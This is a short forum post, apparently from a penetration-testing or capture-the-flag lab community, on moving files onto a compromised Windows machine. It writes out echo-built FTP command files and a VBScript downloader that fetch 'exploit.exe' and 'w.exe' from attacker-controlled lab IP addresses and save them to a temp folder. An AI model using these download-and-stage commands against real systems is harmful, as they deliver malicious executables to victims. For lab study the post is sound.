copying files to windows

Type your comment> @pawellakomski said:

thanks guys for your hints! I figured out that it is best to create a command file (e.g. for FTP: echo open 10.10.14.8 >> $FILE_NAME & echo asdf >> $FILE_NAME & echo USER anonymous >> $FILE_NAME & echo PASS password >> $FILE_NAME & echo get exploit.exe >> $FILE_NAME & echo bye >> $FILE_NAME) and execute ftp with it. Also vbs is good or PoSh-less machines like WS2003: echo dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”) > p.vbs
echo dim bStrm: Set bStrm = createobject(“Adodb.Stream”) >> p.vbs
echo xHttp.Open “GET”, “http://10.10.14.31/w.exe”, False >> p.vbs
cho xHttp.Send >> p.vbs
echo[ >> p.vbs
echo with bStrm >> p.vbs
echo .type = 1 >> p.vbs
echo .open >> p.vbs
echo .write xHttp.responseBody >> p.vbs
echo .savetofile “c:\windows\temp\pawel\w.exe”, 2 >> p.vbs
echo end with >> p.vbs

This is very time consuming and not convenient at all. Use it when every other option isn’t usable!